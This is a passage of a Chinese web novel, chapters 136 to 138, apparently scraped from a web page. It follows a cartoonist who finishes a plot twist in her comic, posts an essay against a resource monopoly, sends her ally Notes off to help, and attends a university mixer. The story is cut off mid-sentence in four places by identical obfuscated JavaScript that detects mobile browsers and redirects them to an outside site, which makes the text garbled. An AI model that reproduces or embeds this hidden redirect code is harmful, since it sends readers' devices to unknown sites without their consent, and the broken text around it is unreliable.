「是的,娜莎,没有人会和我们分蛋糕了,那些蠢货都已经被炸死了。」尤梭阴森地笑着,脸上是与正义二字毫无瓜葛的表情,「他们居然觉得自己有份,真是恬不知耻。这些年来他们都付出过什么?场地、武器、设备都是我提供的,他们只不过奉献了自己一无所有的廉价双手,一群贪得无厌的蛆虫,活该。 「娜莎,我想把公司的名字换了,离开了旧人,要有新气象,新名字就叫宾腾地产——」 咚! 他的话没有说完,下一幕的画框中,那些本该被炸死的成员从敞开的大门蜂拥而至。 话筒掉在地上,尤梭露出惊慌失措的表情,紧接着,他很好地掩盖了它,瞬间就换上感动涕零的神情。 「伙计们,你们居然还活着——」 「好啊你,尤梭,居然敢这么对我们!」有人举起了武器。 「亏我们那么相信你!」 主人公被逼到了办公室的角落,他看着昔日的同僚,脸上是故作诧异的神色,「你们在说什么?我听不懂。」 「还装什么,我们都听到了,你骂我们是蠢货,说我们的付出不值一提。」有人愤恨地控诉着。 「你居然想要坑害我们,尤梭,你会为此付出代价!」 包围网越来越近,尤梭的呼吸也变得急促起来,有些惊恐地盯着手持武器的同僚们。 紧接着,是四张表情的分镜。 第一张,惊惧。 第二张,垂下的眉眼。 第三张,静默。 第四张,浮现在嘴角的笑意。 「哈哈哈……」他笑了起来,旁若无人,愈发癫狂,几乎要挤出泪来,「到底是怎么活下来的?我的计划万无一失,你们现在理应都是被埋在地下的尘埃才对。」 「你居然真的——!」看到态度一百八十度大转变的尤梭,队伍里尚在摇摆的人也死了心。 「尤梭,你居然还在笑!」 一个强壮的中年男人走上前来,一拳招呼在主人公白净的脸上。 他一下子就被打飞出去,狠狠摔在地上。 人们开始控诉他的行径,说要把他拖出去耻辱地游行,来向所有人揭露他的恶行。 尤梭狼狈地爬起来,一脸的不服,「你们不能揭穿我,揭穿了我,等待你们的就只有失败了!」 他接着说:「没有我的设备和武器支持,你们谁能成事?所以,伙伴们,我劝你们再好好想想。如果是聪明人的话,现在就应该知道怎么做,曾经的事情我们可以过往不咎——」 他话没说完,成员当中的一个人从后方走上了前来。 那是一个棕头发棕眼睛的年轻人,脸颊上布满了麻子,手臂粗壮,肩膀宽阔,看起来像是某个矿场里干了一辈子的的矿工。 「你不知道自己在做的是一件怎样危险的事情。」他的话语与外在的年纪不同,透露出一种祥和的年长之感。 尤梭盯着这个棕头发的年轻人,依然急切地想要拉拢他,「冯,你能理解我的吧,我或许做错了一件事,但现在是真心诚意想要与你们再度结盟。我们已经攻下了无人之地大部分的候鸟山工厂,距离胜利只有一步之遥,完全没必要在这个时候起内讧!」 他伸出一只手,伸向冯,那是希冀重归于好的讯号。 然而冯没有动作,他只是低头看着地上的尤梭,平和的眼神中没有憎恨,反而尽是宽容,「我不是冯,我的名字叫做哈兰·戈斯。」 他说完这句话,周身的空气开始扭曲起来,像一个混杂了过多颜色的调色盘。 面容开始模糊,身型也在改变,片刻之后,他俨然变成了一个长发的男人,身穿一袭深灰色的长袍,双臂无骨似的垂在身侧。 「真是见了鬼了!」亲眼见到这场变化,有人惊讶地发出感叹。 「哈兰……戈斯。」尤梭模样震惊,反复咀嚼着这个名字,「……你是上一任候鸟山工厂的掌控者。」 哈兰近乎悲悯地看着他,「我的家族世代守护着工厂,如果你们愿意去翻一翻残破的史书,或许能在其上找到这个姓氏。」 背后,有人小声议论着,「他不是普通人……和那个诺特斯一样。」 哈兰继续阐述,「曾经,一百三十多家工厂遍布各地,现在已经叫人们捣毁了半数,再这样下去,石剑醇的供应不足,你们脚下的土地崩解也只是时间问题。」 「哈,又来一个危言耸听的疯子。」一个瘦脸的光头大声嚷嚷说,他皮肤有着风吹日晒的黝黑,「这些话我们早就听腻了,总说星球要瓦解,可大家伙谁看到半点征兆了吗?没有。」 另一个腰背岣嵝的男人也应和,指着哈兰的鼻子说:「你和那个诺特斯是一伙的,都是既得利益者,没人会信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时间就像静止了一样,办公室中愤怒的人群全都不静止动了。 窗口的尤梭瞪大了眼睛,不解地看着眼前这一幕。他虽然看起来并不知道是怎么一回事,但十分敏捷地抓住了这个时机,甩开手脚上的束缚,一下子灵活地翻窗而出。 办公室中,压制着哈兰的两个人松开了他,还十分恭敬地将他搀扶起来。 声音颤抖,他们在懊悔,「请您宽恕我们的无礼……」 其他人也凑了上来,十几个人围在哈兰的周围,但这回却不是要抓捕他,而是毕恭毕敬地向他臣服。 刚才那嚷得最凶的光头如今头低得最低,语气中是对自己全然的懊恼,「我真是鬼迷了心窍,为什么没能早点理解?您当然是为了拯救我们所以才出现在这里,您所说的一切不应遭到任何质疑。」 还有人说:「我们现在彻底明白了,自己在做的是一件多么愚蠢的事情。」 「请您宽恕我们,引领我们,拯救这片即将倾颓的大地,让我们幸福平和地生活下去吧。」 「嗯。」哈兰用一个音节回应。 他的目光瞥向窗户的方向,尤梭刚刚就从那里逃离。 「对他无效吗……」他自言自语。 最后一幅画面,定格在尤梭逃脱的那个窗口。 窗户外面是灰蒙蒙的天空,除此之外什么也没有。 一切静悄悄的,但又没那么平静,仿佛随时会有什么可怖的东西从那空白的缺口处出现。 136. 来反击吧 画到这里,庄森芽长出一口气,放下画笔,人像滩烂泥一样栽在座椅靠背上。 ……终于画完了。 历时两天零一夜。 从周六早上开始,到周日晚上,除了必要的吃饭睡觉以外,睁眼就是伏案工作。 为了保证速度,品质有些粗糙,但已经管不了那么多了,现在最重要的是将这个反转剧情公布出去。 打开狐尾平台,把这两天赶稿的情节整理好,处理成平台要求的格式,而后依次上传。 已经有些小粉丝注意到了她的回归,询问着发生了什么。 庄森芽在漫画作品下留言,以作者青沐的身份,说有人恶意举报,漫画随时有可能再次下架。 为了应对这样的事情再次发生,她给粉丝指路到自己其他的社交平台上,说如果又下架了,就会在社交平台上免费连载,绝对不会断更,保证大家能够看完这个故事。 这样的说明像一颗定心丸,因为漫画下架而离开的读者们渐渐回来了,也出现了类似‘那我就安心追下去了’这样的留言。 忙完了这一切,她起身伸了个懒腰,离开蜗居了两日的黑黢黢的小房间。 一早就闻到了饭菜的香气,爸妈催她吃饭好几次,但她一直往后推。 漫画的事情告一段落,饥饿感找上了门来,她扑到餐桌旁,见什么吃什么,有什么吃什么,像是三天没吃过一顿饱饭一样。 在客厅看电视的夫妻俩看到饥不择食的女儿,都发出故作惊讶的感叹。 “诶呀,谁家的小饿狼放出来了。” “吃慢点宝贝,没人跟你抢。” 庄森芽埋头干饭,囫囵地发出感慨,“好吃,香。” 又过去一段时间,门口传来了敲门的声音。 “来了。”祁欢站起来去开门。 门打开,外面是一身风霜的诺特斯,他拎着一大袋子东西,里面有果汁葡萄酒面包一类的即食品,还有生肉冻鱼之类的食材。这人似乎已经不满足于仅在和庄森芽见面的时候给她带点东西,已经开始大包小裹地给这个家庭送礼了。 “诺特斯,密码不是都告诉你了吗,下回不用再敲门啦,直接进来就行。”祁欢把人迎了进来,乐呵呵抱着一大袋子食物钻进厨房,把新鲜的食材全部塞进冷藏箱和冷冻柜里,声音遥遥从厨房传到客厅,“你这两天没来,我还以为你回希腊了。” 夫妻俩已经对这个外国人了解得大差不差,早就作为一个常客接纳他,拖鞋都有专用的一双,客厅也搭了个临时的温馨睡床。 “没有没有,临时去处理点事情。”诺特斯解释说,走到餐桌旁,拉开座椅坐在庄森芽的对面。 正在忙于进食的人抬头看了他一眼,没说话,继续埋头摄入。 “一切都还顺利吗?”他问。 庄森芽给他比了个噤声的手势,示意之后再说。 将食物疯狂吸入胃中,她大喊一声“我吃完了”,把碗碟都收到了水池,抓起诺特斯的手腕,像抓着归自己所有的大型玩偶,一溜烟又钻进了卧室里。 “等一下出来吃水果啊。”祁欢的声音从厨房传出。 “嗯!”关门之前,庄森芽应道。 没开灯的房间里,价值六万的黑色笔记本静静运行着,屏幕上显示着狐尾平台的主界面,几个红色的最新消息在提示图标上闪烁。 这个高级笔记本她是越用越称手,已经在内心做好了决定,就算某天诺特斯突然要把它收回,她也死皮赖脸不打算还回去了。 她抓过转椅坐下来,点开最新评论开始阅览,一边对诺特斯说:“故事正好发展到哈兰揭穿尤梭真面目的那一刻,哈兰通过精神控制说服了其他人,但尤梭逃掉了。” 诺特斯来到书桌旁靠着,“哈兰的精神控制都对他无效?” “可能我们一直以来都有点小瞧这个主人公。” “笔在你手里,你就不能把他画成一个普通人吗。” “我控制不住。” “唔……”诺特斯发出沉吟,“好吧,那这可有点棘手了,说不定他也能无视我的能力。” “你和他交战了这么久,没发现他的特殊吗?” “天天来骚扰我的人太多了,我可没办法把他们一一研究透彻。”诺特斯的模样看起来有点无奈,甚至还轻轻叹息了一声,“在你的视角,他是这个故事的主人公,可是在我的视角,他只是数十个来袭击我的势力中的其中一个。虽然尤梭带领的民兵队确实比较烦人吧,但也不足以让我关注他太多。” 自己浓墨重彩刻画的主人公只是不起眼的一个,她以为故事在围绕着他转,但实际则不然,这让身为作者的她感觉有点怪怪的。 不过总有不为人知的细节在笔下世界的各处隐蔽地发生着,她很难窥见全貌,就连最杰出的创作者也难以把握,这么一想就坦然了。 庄森芽:“问题不大,后面尤梭可能也搞不出什么事了,倒是不用管他。” 她的注意力又回到了评论上。 漫画刚发出去不久,评论还没有多少,重点聚集于‘尤梭居然有这么大的问题’、‘反转来得太突然’之类的评价。 这样就够了,接下来要做的才是关键。 屏幕切换到社交平台,她码好了一段很久以前就想好的话。 既然真实身份早就公开,那也不必畏畏缩缩,反之可以利用这个机会去做些什么。 她点击发送,一段崭新的小作文像扁舟一样流向媒体的大海。 「《灵月十四》能走到今天,多亏了所有粉丝的支持,我很高兴能把这部漫画画到最后。 「她不是一个多么惊心动魄的故事,但我对它倾注有百分之一百的感情,不光是因为它是我的孩子,更是因为它承载着我的寄托。 「这要从我是如何走到漫画这条路上开始说起。 「家里经营着一家仿生器械科研公司,或许身在上茂市的各位应该听说过这家公司的名字。如果有人具体了解过的话,应该知道这两年公司的财报不怎么好。 「其根本原因是原材料供应出了问题,有一个对家公司哄抬物价,垄断材料,导致下游行业苦不堪言。 「我父母一生只想救人,不求多少回报,所以即便是在公司开始亏损之后,也保持器材和诊治的原价,提供与原先一致的治疗。 「然而这却导致公司和家庭情况一落千丈。 「直到现在,他们应该已经撑不了多久了。 「或许一个公司的存亡无关紧要,但光曙公司拥有的技术理应用来造福人们,拯救更多的残障人士,而不是因为一些无理的原因而被埋没。 「我无法忍受这样的事情,所以《灵月十四》诞生了。 「个人的能力有限,只能不停呼吁,希望资源垄断这样的现象就此消失,它对所有人的生活都并无益处,只是一些自私自利的人不肯放弃既得的利益,潜移默化地困苦大众。 「我衷心希望这样的现象有一天能够永远杜绝。」 被人看见需要时间。 她检查了一遍错别字,而后就退出了社交媒体。 接下来就是等待了。 “有什么需要我做的?”诺特斯在一旁问。 庄森芽从桌面上的收纳盒里拿出一块绿莹莹的晶体,在没开灯的房间里,它呈现出墨绿的色泽,不发光的状态下是平平无奇的。 它这些天一直在两人的手中颠沛流离,每当诺特斯需要动用能力的时候,她就会还给他。 但她有点懒得折腾了,而且接下来,她需要诺特斯灵机应变,所以要把主动权还给他。 “你拿着,见机行事吧。”她说,“佑哲早晚有一天会发现漫画重新上架,而且另一边,我要给自己的文章制造些声势,等火起来,他肯定会想办法对付我。下架漫画、封杀社交媒体,这些都有可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837807|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。” “而我的任务就是监视裴家人,并阻止这样的事情发生?” “对,如果能做到的话。” 诺特斯信誓旦旦地笑着,将石剑醇吊坠带回自己的脖子上,“没什么办不到的。” 她打量他片刻。 这人说能做到,大抵就是真的能做到。 可靠到有点过分了。 “……好了。”她长叹了一口气,“事情都已经安排妥当,接下来就是等待与观察了。” 诺特斯在黑暗中注视着她的眼睛,“我有没有说过你心思还挺缜密的?” “这是在夸我?”她问。 “但缜密往往与困苦相连,一切顺遂才会无忧无虑。”他伸手碰了碰她的脑袋,像是在暗夜中看不清,先是弄清了轮廓,而后才找准地方,将一缕和睫毛纠缠在一起的发丝拨开,露出那下面一双永远不屈的眼睛,“我还是希望某一天你的心思不用再这么缜密。” 她错开了视线,小声嘀咕,“突然煽情什么……” 诺特斯离开书桌,来到卧房门口,手搭在门把手上,“事不宜迟,我去考虑考虑行动方案——” 他说着就打开了门,客厅的灯光打进来,照进来两个人影。 “啊……”“哎哟……” 庄洪成和祁欢两人站在卧房门口,还维持着侧耳倾听的姿势,见到推门而出的诺特斯,脸上都是一副尴尬的神色。 诺特斯:“两位这是……” 祁欢先反应了过来,哈哈笑着说:“我是想来问问你们水果想吃什么,火龙果还是柚子?” “咳咳。”庄洪成咳嗽了一声,故作无事发生,对一旁的门柱敲敲打打,自言自语,“裂缝了啊……她妈,闺女这门得修了。” 庄森芽看着门口的热闹场景,无奈叹息了一声。 这二位也未免太好奇了吧。 “我吃火龙果,妈。”无意让自己的父母难堪,她给了个台阶下。 “好嘞。”祁欢于是乎钻进厨房。 “我记得家里有502胶来着,黏一黏也许还能撑一段时间……”庄洪成也走向玄关的工具箱。 门口的人都散去了,诺特斯站在光暗交界之处,他侧过头来,回望卧室中另一个人。 “那我走了。” 他说起话来像是告别,是指非常庄重的那种,或许是因为接下来要做的一切都无比重要,需要一段体面的交流作为出征的讯号。 “有什么事情打电话给我,这些天我可能不会很频繁地回来了。” “好。”她说完,倒吸一口气,叫他的名字,“诺特斯——” 已经踏出半步的人回过头来,等待后半句话。 她在黑暗中注视着他,注视着那个光明之下一身漆黑的男人。 现在的他们宛如一个太极,黑中有白,白中有黑,似乎颠倒了,却其实是和谐。 “下次回来,我就把大结局的后半段告诉你。” 主人公尤梭已然揭开真面目的当下,漫画最终结局肯定也不能按照曾经的想法发展。 而那个改动之后的最终版本,仅存在于她的脑海里,直到现在还未对任何人诉说。 诺特斯冲她一笑,没说什么。 客厅传来短暂的交流声,是他在向庄洪成告知出门的意图。 关门的声音传进卧室,她知道他已经出发了。 庄森芽闭上自己的眼睛,感受着这片刻的宁静。 仿佛能感觉到时间的流逝,像风一样簌簌从耳边吹过,每分每秒,都在把她推向某个终局。 结局究竟会怎样,她并不知道。 但已经做好了相迎的准备。 庄森芽睁开眼睛,电脑屏幕的亮光在其中倒映,泛白的荧光是坚实的。 没必要再逃避下去了。 她已经离开学校一周,厌倦了躲避,是时候回去面对该直面的一切了。 137. 联谊 ## 十二月一日,星期五,冬季,早上六点,庄森芽回到了上茂哈里森大学。 夜里刚刚下过一场雪,银装素裹,尚未被早醒的鸟儿践踏。 她是第一个在宿舍门口留下脚印的人。 循着熟悉的路径,回到自己的宿舍,舍友们都还没醒。 望着自己的座位,一切都还是离开之前的模样,虽然只是短短一周,但却总觉得已经很长时间过去了。 她经历了一场胃病,以及漫画下架又上架的经历,但也不全都是坏的,还有和爸妈一起出去吃饭拍照的温馨经历。 拉开椅子坐下,就如同一个别无寻常的早晨那样,她开始收拾自己今天上课所需的东西。 一个多小时之后,第一个舍友起床了,是汪素文,她拉开遮光帘,看到一周不见的舍友凭空出现,嘴巴都张成得圆圆的。 “森芽,你回来了!”说完,她捂住自己的嘴巴,像是反应过来声音太大,另外的舍友还没有醒。 “又能一起去上课了。”庄森芽笑着对自己的舍友说。 是啊,这只是一个平平无奇的温馨早晨,她本应有很多这样的早晨,但是记忆里却如数家珍。 可能是自打决定加入学生会的那天开始,或者说和一些人扯上关系的那天开始,她的日子就没有太平过。 往前是‘一周情侣’,再往前是学生会考核,还有不愉快的海岛旅行,导火索一般的绘画大赛,牵连诸多的公益演出,意外频发的‘雏鸟周’旅行,以及状况百出的百团大战。 她像历劫一样一步步走过来,每过一关就褪一层皮。 或许这就是历练的本质,只有脱去不合适的外衣,才能更坚强地存活下去。 这个周一很平静,她一直很低调,重复吃饭、上课这两件事,过得像一个普普通通的大学生,没有人知道这样的日子她梦寐以求。 周二和周一别无二致,周三也是周二的翻版。 唯有到周四的时候,外联部部长段子良得知庄森芽回到了校园。 那之后,她的手机开始不宁静了。 「急!」 这是段子良给她发来的第一条消息。 「这周末联谊的人数不够了,速来救场!」 她没问她上一周都去哪了,很快就接纳了她的回归,并且强硬地布置了任务。 说来奇怪,所有那些认识庄森芽的人,都没有问她‘去哪了’这个问题。 再见到的时候,他们就和以前一样,和她打招呼、短暂地闲聊,仿佛上一周她并没有消失。 庄森芽猜是因为自己的事迹已经在校园里流传了开来,每个人都知道发生了什么,而又碍于它过于戏剧,狗血得过分,而不好意思在当事人面前没有铺垫地直接提起。 ‘被裴佑哲甩,但和乐队主唱交往’,这是她听到的最多的版本,人们可能以为她消失的这一周是去处理感情上的事了。 这样的猜测只对了一半,周旋的人的确是这两个,但所为的事情远与感情无关。 她能看出人们看向她时,眼中所带有的打探和好奇,但她熟视无睹,并且不予回应。 真相如何,就让他们猜去吧,流言蜚语是控制不住的,她已经深有感悟了。 段子良发来消息的时候,庄森芽正在上课,看到了之后打算下课再回,但没想到部长居然一个电话打了过来,她只好悄然离开教室,到走廊里接起来。 “森芽,我很高兴你回来了。”这短暂的一句话便是所有有关她回归的欢迎与问候,“你还记得这周日是我们学校和上茂外国语大学的联谊会吧?” 部长是个感情不怎么外露的人,庄森芽清楚这一点,所以并没有觉得失落。而且,段子良曾经不止一次在过分施压的裴佑哲面前替她说话,庄森芽打心底一直都对这个外联部部长充满了感激。 “我记得,部长。你说人数不够了是什么意思?” “之前每年联谊会,咱们外联部的人都要去客串嘉宾凑人头,一般来说人数都够用。但是今年……唉!但是今年也不知道是怎么了,外国语那边报名的学生特别多,尤其是男生!没办法,为了达成男女数量平等,学生会其他部门的干事都下场了,可就算这样缺口还是配不平。” “原来是这样……” “你赶回来得实在是太及时了,我已经放弃把男女数量抹平这件事,但我觉得你一个人应该能应付三个。” “部长你是否对我有什么误解……”庄森芽感觉有点无语。 “那就这么说定了,到时候要来啊。活动策划书你都看过,具体时间和地点安排不需要我再发你了吧?” “呃,不需要。”就这么被安排了,毫无反驳地余地。 “记得穿漂亮点!”段子良留下这么一句话,挂断了电话。 庄森芽有点凌乱地站在教室外的走廊,略感无助。 一个美美的周日就这么消失了。 还来不及为自己被剥夺的自由扼腕叹息,学业的召唤又将她遣进教室。 在心里告诉自己这没什么,那么多难关都过来了,只是一场无伤大雅的联谊会而已,她应该摆正心态,好好利用这个机会,当个乐子人转换一下心情,放松放松。 那之后,周四一眨眼过去,周五快得也让人抓不住。 周六,庄森芽可算收到了一点好消息。 她在社交媒体的话题指数排名上找到了自己,但火的不是之前发的那篇小作文的关键词,而是漫画《灵月十四》的相关关键词。 狐尾平台不给她流量,限制评论区的发言,但架不住读者是自由的,他们转移到更为畅所欲言的社交平台,热火朝天地议论着,风向变化莫测,说什么的都有。 其中点赞较多的几条内容是: [能看出作者为这部漫画付出了很多心血,一人血书强烈呼吁上茂市政府严查本市的资源垄断情况。] [帮不了太多的忙,给光曙公司买点股票,权当奉献。] [光曙公司的对家应该是腾滨集团,两家创始人有矛盾。] ->>一连串回复:[求细说。] ->>一个高赞回复:[作者把《灵月十四》主人公尤梭经营的公司改名为了‘宾腾地产’,名字这么像,很难说不是在暗示什么。] [这个青沐前一阵不是被爆出来本人人品有问题吗?在大学里脚踩两条船还是什么来着,反正影响不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837808|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。我以为都封杀了,怎么最近又跳出来了?] ->>一条高赞回复:[咱也不知道网上谁真谁假,反正现阶段我站她,反转了踢我。] 虽然也有一些不利于她的言论,但整体还是正向的。 事情还算顺利,现在,越来越多的人知道了光曙公司的困境,那么下一步,就是披露证据了。 毕竟网友只能帮她传播信息,真的要解决问题,只能靠货真价实的法律和裁决。 而这一步,她需要去问问她的爸妈。 这些年间,所有和腾滨集团往来的收据和合同都是证据。 虽然她在司法相关的方面尚且一知半解,但她会努力去克服学习的。 ……不过现在,先让他过去周日联谊这一关再说。 诺特斯这些天都没有出现,就像他说的那样。 而庄森芽坚信他在尽职尽责的完成他的任务。 因为她在社交媒体上发表的小作文还活得好好的,没有因一些不可抗力而消失在网络信息的茫茫大海之中。 这给她一种感觉,虽然现在看也看不到那个男人,听也听不到他的声音—— ——但她知道,他在。 就在某处,默默地援助着她。 周日,天气晴朗,衣着光鲜亮丽的大学生们坐上去往另一所学校的大巴。 冬天寒风凛冽,但无法浇灭这帮学生的热情,他们把自己打扮得像是要去参加什么重要的晚会,一个两个哪怕受冻也甘之如饴。 有些人当真是找对象去的,有些人只是走个过场,而还有一小部分人,是纯纯的乐子人。 庄森芽把自己归类到最后一类,她对找对象这种事没兴趣,也不喜欢百无聊赖的聚会活动,所以,哪怕这次联谊十分无趣至极,也得想方设法给自己找点乐子,不然无法祭奠牺牲的周末时间。 大客车载着一路欢声笑语的年轻人们,来到另一个颇有文化传统气息的大学,这里就是上茂外国语大学。 大学校门以红棕配色为主,十分的庄严气派,所有的指示牌上都标着中英双语,来往的行人中可见许多的异国脸孔,其国际化程度不亚于上茂哈里森大学。 大巴车司机把学生们放在了南大门,校门口有负责这次联谊活动的人员在提供接引,哈里森的学生们宛若来古堡参加晚会的名门望族,两三为伴,优雅地受邀进入。 十分钟之后,他们便来到了活动场地。 这是一个可以用广袤来形容的大堂,穹顶极高,金碧辉煌,每一件石器都精雕玉琢,每一面墙都经过匠心设计,长廊望不到尽头,玻璃窗一扇挨着一扇,总而言之,它给人一种‘此物不应学校有’的感觉。 在入场之前,学生被分成了两拨,女生从东侧入场,男生从西侧入场。 来到了大堂内部,他们隔着两条长桌遥遥相望。 主持人登上了仿佛是王宫贵族才能够享有的讲台,主讲人总共有有两位,一个是穿着难得十分正式的上茂哈里森大学学生会外联部部长段子良,另一个是一名西装革履的男生,庄森芽没见过,但猜测也是外国语大学外联部的部长。 两人在讲台上一唱一和,拉开了这次联谊的序幕。 138. 弟弟 庄森芽很久以前看过这次联谊的活动策划书,是‘一周情侣’期间裴佑哲要求她看的,并且还要她和外联部成员开会阐述,所以,她对于接下来的环节几乎可以说是烂熟于心。 先是介绍环节,然后是一系列互动活动,最后是评分。 在最后的评分环节,所有人都会拿到三张精美的贴纸,上面写着的文字分别是‘形象最佳’、‘最想交往’,以及‘人缘最好’。 拿到纸条之后,男学生们需要先排成一排站开,背对着女生们。而女生也站成一条龙,依次在男生的背后经过,将对应的纸条贴在自己选定的男生背后。女生这边反之亦然。 贴条结束之后,主办方会对每个人收到的贴纸数量进行统计,男女生分别评选出三个最佳形象奖、最愿交往奖,以及最好人缘奖,这三男三女的六个人会获得主办方赠予的特别奖品。 庄森芽对奖品感兴趣但又没那么感兴趣,因为她知道自己得不到。 论形象的话,她属于特立独行的那一类,如果按照当下流行的柔美可爱趋势打扮打扮自己,或许还能搏一搏,但现在已然身处战场之上,没时间换战袍了,当下她披着一身机车风格的硬朗外观,不拿个倒数就算谢天谢地。 ——是的,段子良是让她穿漂亮点,她听了,但她们对漂亮的定义可能不太一样,庄森芽觉得酷毙的东西就是漂亮。 再说‘最愿交往奖’,这个评定标准就十分主观了,每个人的想法都不一样,判定界限也比较模糊。 那大概是一种感觉,与性与气质密不可分,或许可能和家境财力也有那么点关系,但后者尚不在大部分大学生的考量之中。 庄森芽自认在这个方面也没什么优势。 最佳人缘的话……呵,她在高中的时候可拿到过三届‘脸臭王’的蝉联称号,和她比谁能更快把关系搞僵,在场没有一个人是她的对手。 于此可见,自己的注意力并不应该放在最后这个评分环节,而是这场联谊活动提供的免费食物饮料上。 白嫖最香。 在主持人的引导下,介绍环节开始了。 男生女生都站成一排,像是两股对冲的风一样,两队人马擦肩走过,逐一握手,这样每人都有机会看遍所有的异性。 末了,所有人都对到场嘉宾有了印象,有些人看上去已经确定了目标,正暗自激动着。 庄森芽在男生阵营看到了几个熟悉的面孔,大多是学生会的干事,费洛也在其中,他扬着阳光般的笑脸,见谁都是一个模样,只有汪素文在身前经过的时候,他才冲她抛了个媚眼。 哦,当然,他还冲庄森芽摆了个鬼脸。 庄森芽犹记得,就在前几天,她因为想要打听裴佑哲的事情而联系费洛时,这个浅黄头发的金毛犬狠狠地奚落了一番学生会主席,起因是裴佑哲要把他和汪素文都从学生会除名。 但现在这两人都能作为外联部的成员来参与这次活动,看来是危机已经度过去了,这让庄森芽替两人感到放心。 握手环节之后,是五分钟快速轮换,女生们先坐好,男生选择想要聊天的对象,而后进行一场短暂的交流。 五分钟之后,性别调转,男生坐在长桌的一侧,女生主动选择某个人深入了解。 就这么几个来回之后,差不多四十分钟过去,庄森芽硬着头皮和六个男生结束了尬聊。 每次的内容都是:你好,我叫什么,你叫什么,哪个学校的,什么专业的,加入了什么社团,兴趣爱好是什么,喜欢什么明星,看什么剧,平时喜欢什么运动等等。 将近一个小时下来,她感觉自己的嘴皮子都要磨烂了,提前体验了一把去公司面试的滋味。 男生们像流水线上的工人在眼前一晃而过,她几乎完全不记得和谁说过了什么话,唯独有一个小男生令人印象深刻。 至于为什么叫他小男生……请看以下Vcr。 十五分钟之前,一个戴着一副耳钉的男生坐在了庄森芽的对面。 他穿着敞怀的三色条纹外套,里面是戴着兜帽的卫衣,兜帽像冰淇淋一样堆在领口,尖脸蛋上有一双十分灵动的杏眼。 他开口就管她叫姐姐,说自己注意她很久了。 “你是几月份出生的?”庄森芽问他。 “七月。”他说,“不过应该比你晚出生一年,这里的人都比我大,我可能是最小的。” 看模样年纪也不大,脸上还带着稚气,酒窝甜得齁人,像是个精致的娃娃。 “姐姐的头发是染的吗?”他问。 “是。” “为什么要染成白色?” 一个问题接一个,庄森芽不禁心想:这人倒是奇怪,上来不互相介绍,反而盯着外貌问来问去。 她还是耐心回答,“因为喜欢。” “我也想染一头银发,可是没有那个勇气,姐姐是怎么应付父母那边的?” “他们支持我。” “这么好。”他感慨着,笑得极甜,“那又是怎么应付旁人的目光的呢?” “习惯就好了。” “是经历过什么所以才想要把头发染白吗?” 这句话问出口,庄森芽沉默半晌。 不能说没有,她还记得自己最初的心态。 年轻人总会有那么一段时间,感觉整个世界都在和自己作对,她终日义愤填膺,愤愤不满,于是换了一头鲜有人选择的白发。 当时心里是这么想的:我已经白发苍苍,这个世界你还能拿我怎么样。 是十足中二的想法,她早就不那么时长愤愤不平了,但染发的习惯还是保留了下来,她看惯了自己白头发的模样,觉得这样挺好的。 “也没有什么很特别的原因,就和你想要染银发和心情是一样的。” “我想染发是因为已经有白头发了。”对方笑着说,拨开鬓角的短发,给她看一两根鲜活的银丝。 庄森芽略感稀奇,她知道有些人会少年白,但现实中从来没见过,也没想到这么年轻的男生已然会有了白头发。 “姐姐,我是外国语大学的,你应该是哈里森大学的吧?”他拨了拨自己的鬓角,让白色的发丝潜藏起来。 “是的。” “可不可以加个联系方式? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837809|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五分钟的时间太短,我想留在你的生命里更长一点。” ……怎么突然还说起情话来了。 庄森芽犹豫了一下,还是默默掏出手机。 她对这个小男生的印象还不错,起码没有之前那些只会公式化套路聊天的男生那么沉闷,不怎么擅长拒绝笑得这么甜的男孩子,于是与他交换了联系方式。 对方浅浅翻了翻她的社交账号,眉毛却耷拉了下来,可怜巴巴地看着她,“姐姐是已经有男朋友了?” 庄森芽感觉莫名其妙,怎么会得出这样的结论。 “没有,今天不都是单身才能来吗。” 对方微微向前倾身,悄声说:“我知道两边的官方人员会有进来充数的,姐姐一看就是其中的一员,因为看起来似乎对谁都不感兴趣,只是例行公事。” 那还真是看得太对了,没想到这个男生年龄虽小,观察能力还挺强的。 “我的确是被抓来凑数的,但也的确没有男朋友。” “暧昧对象呢?”对方的眼睛亮亮的,模样很是单纯,追根问底但却不令人讨厌。 “呃……”她犹豫了,视线移向一旁。 “果然,“他闭眼叹息一声,“姐姐这么优秀,我妄想没有竞争对手是不可能的。” “……”好会说话,这种情商如果能分她一点去巴结领导的话…… “但这也代表,我还有机会的对吧?” “嗯嗯……啊?”她脑袋反应慢了半拍,后知后觉明白过来对方问了些什么。 